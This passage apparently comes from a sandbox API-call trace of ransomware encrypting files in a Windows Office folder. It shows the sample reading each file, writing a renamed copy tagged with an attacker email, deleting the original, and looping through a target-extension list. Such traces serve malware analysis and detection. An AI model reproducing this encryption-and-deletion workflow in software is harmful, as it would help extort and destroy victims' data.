Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.145] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.145] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.147] GetLastError () returned 0x0 [0263.147] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0263.148] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.149] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.149] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.149] SetEndOfFile (hFile=0x3c4) returned 1 [0263.149] CloseHandle (hObject=0x3c4) returned 1 [0263.150] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.150] SetEndOfFile (hFile=0x388) returned 1 [0263.151] CloseHandle (hObject=0x388) returned 1 [0263.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico")) returned 1 [0263.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.152] lstrlenW (lpString=".doc") returned 4 [0263.152] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.152] lstrlenW (lpString=".docx") returned 5 [0263.153] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.153] lstrlenW (lpString=".pdf") returned 4 [0263.153] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.153] lstrlenW (lpString=".xls") returned 4 [0263.153] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.153] lstrlenW (lpString=".xlsx") returned 5 [0263.153] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.153] lstrlenW (lpString=".ppt") returned 4 [0263.153] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.153] lstrlenW (lpString=".zip") returned 4 [0263.153] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.153] lstrlenW (lpString=".rar") returned 4 [0263.153] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.153] lstrlenW (lpString=".bz2") returned 4 [0263.153] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.153] lstrlenW (lpString=".7z") returned 3 [0263.153] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.153] lstrlenW (lpString=".dbf") returned 4 [0263.153] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.153] lstrlenW (lpString=".1cd") returned 4 [0263.153] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.153] lstrlenW (lpString=".jpg") returned 4 [0263.153] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.153] lstrlenW (lpString=".doc") returned 4 [0263.153] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.153] lstrlenW (lpString=".docx") returned 5 [0263.153] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.153] lstrlenW (lpString=".pdf") returned 4 [0263.153] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.154] lstrlenW (lpString=".xls") returned 4 [0263.154] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.154] lstrlenW (lpString=".xlsx") returned 5 [0263.154] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.154] lstrlenW (lpString=".ppt") returned 4 [0263.154] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.154] lstrlenW (lpString=".zip") returned 4 [0263.154] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.154] lstrlenW (lpString=".rar") returned 4 [0263.154] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.154] lstrlenW (lpString=".bz2") returned 4 [0263.154] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.154] lstrlenW (lpString=".7z") returned 3 [0263.154] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.154] lstrlenW (lpString=".dbf") returned 4 [0263.154] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.154] lstrlenW (lpString=".1cd") returned 4 [0263.154] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO") returned 66 [0263.154] lstrlenW (lpString=".jpg") returned 4 [0263.154] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.154] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.154] lstrlenW (lpString="SCDCNCLS.ICO") returned 12 [0263.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.156] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0263.156] CloseHandle (hObject=0x388) returned 1 [0263.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico")) returned 0x20 [0263.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.156] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.156] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.157] GetLastError () returned 0x0 [0263.157] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.244] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.245] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.245] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.245] SetEndOfFile (hFile=0x3c4) returned 1 [0263.245] CloseHandle (hObject=0x3c4) returned 1 [0263.245] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.245] SetEndOfFile (hFile=0x388) returned 1 [0263.248] CloseHandle (hObject=0x388) returned 1 [0263.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico")) returned 1 [0263.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.291] lstrlenW (lpString=".doc") returned 4 [0263.291] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.291] lstrlenW (lpString=".docx") returned 5 [0263.291] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.291] lstrlenW (lpString=".pdf") returned 4 [0263.291] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.291] lstrlenW (lpString=".xls") returned 4 [0263.291] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.291] lstrlenW (lpString=".xlsx") returned 5 [0263.291] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.291] lstrlenW (lpString=".ppt") returned 4 [0263.291] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.291] lstrlenW (lpString=".zip") returned 4 [0263.291] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.291] lstrlenW (lpString=".rar") returned 4 [0263.291] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.291] lstrlenW (lpString=".bz2") returned 4 [0263.291] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.292] lstrlenW (lpString=".7z") returned 3 [0263.292] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.292] lstrlenW (lpString=".dbf") returned 4 [0263.292] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.292] lstrlenW (lpString=".1cd") returned 4 [0263.292] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.292] lstrlenW (lpString=".jpg") returned 4 [0263.292] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.292] lstrlenW (lpString=".doc") returned 4 [0263.292] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.292] lstrlenW (lpString=".docx") returned 5 [0263.292] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.292] lstrlenW (lpString=".pdf") returned 4 [0263.292] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.292] lstrlenW (lpString=".xls") returned 4 [0263.292] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.292] lstrlenW (lpString=".xlsx") returned 5 [0263.292] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.292] lstrlenW (lpString=".ppt") returned 4 [0263.292] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.292] lstrlenW (lpString=".zip") returned 4 [0263.292] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.292] lstrlenW (lpString=".rar") returned 4 [0263.292] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.292] lstrlenW (lpString=".bz2") returned 4 [0263.292] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.292] lstrlenW (lpString=".7z") returned 3 [0263.292] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.293] lstrlenW (lpString=".dbf") returned 4 [0263.293] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.293] lstrlenW (lpString=".1cd") returned 4 [0263.293] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO") returned 66 [0263.293] lstrlenW (lpString=".jpg") returned 4 [0263.293] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.293] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.293] lstrlenW (lpString="SCDRESTS.ICO") returned 12 [0263.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.325] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0263.325] CloseHandle (hObject=0x3a8) returned 1 [0263.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico")) returned 0x20 [0263.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.346] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.346] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.346] GetLastError () returned 0x0 [0263.346] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.389] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.390] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.390] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.391] SetEndOfFile (hFile=0x3e0) returned 1 [0263.391] CloseHandle (hObject=0x3e0) returned 1 [0263.391] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.391] SetEndOfFile (hFile=0x1bc) returned 1 [0263.393] CloseHandle (hObject=0x1bc) returned 1 [0263.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico")) returned 1 [0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.394] lstrlenW (lpString=".doc") returned 4 [0263.394] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.394] lstrlenW (lpString=".docx") returned 5 [0263.394] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.394] lstrlenW (lpString=".pdf") returned 4 [0263.394] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.394] lstrlenW (lpString=".xls") returned 4 [0263.394] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.394] lstrlenW (lpString=".xlsx") returned 5 [0263.394] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.394] lstrlenW (lpString=".ppt") returned 4 [0263.394] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.394] lstrlenW (lpString=".zip") returned 4 [0263.395] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.395] lstrlenW (lpString=".rar") returned 4 [0263.395] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.395] lstrlenW (lpString=".bz2") returned 4 [0263.395] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.395] lstrlenW (lpString=".7z") returned 3 [0263.395] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.395] lstrlenW (lpString=".dbf") returned 4 [0263.395] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.395] lstrlenW (lpString=".1cd") returned 4 [0263.395] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.395] lstrlenW (lpString=".jpg") returned 4 [0263.395] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.395] lstrlenW (lpString=".doc") returned 4 [0263.395] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.395] lstrlenW (lpString=".docx") returned 5 [0263.395] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.395] lstrlenW (lpString=".pdf") returned 4 [0263.395] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.395] lstrlenW (lpString=".xls") returned 4 [0263.395] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.396] lstrlenW (lpString=".xlsx") returned 5 [0263.396] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.396] lstrlenW (lpString=".ppt") returned 4 [0263.396] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.396] lstrlenW (lpString=".zip") returned 4 [0263.396] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.396] lstrlenW (lpString=".rar") returned 4 [0263.396] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.396] lstrlenW (lpString=".bz2") returned 4 [0263.396] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.396] lstrlenW (lpString=".7z") returned 3 [0263.396] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.396] lstrlenW (lpString=".dbf") returned 4 [0263.396] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.396] lstrlenW (lpString=".1cd") returned 4 [0263.396] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0263.396] lstrlenW (lpString=".jpg") returned 4 [0263.396] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.396] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.396] lstrlenW (lpString="SCHDREST.CFG") returned 12 [0263.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.435] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=840) returned 1 [0263.435] CloseHandle (hObject=0x3a8) returned 1 [0263.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 0x20 [0263.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0xc0000000, 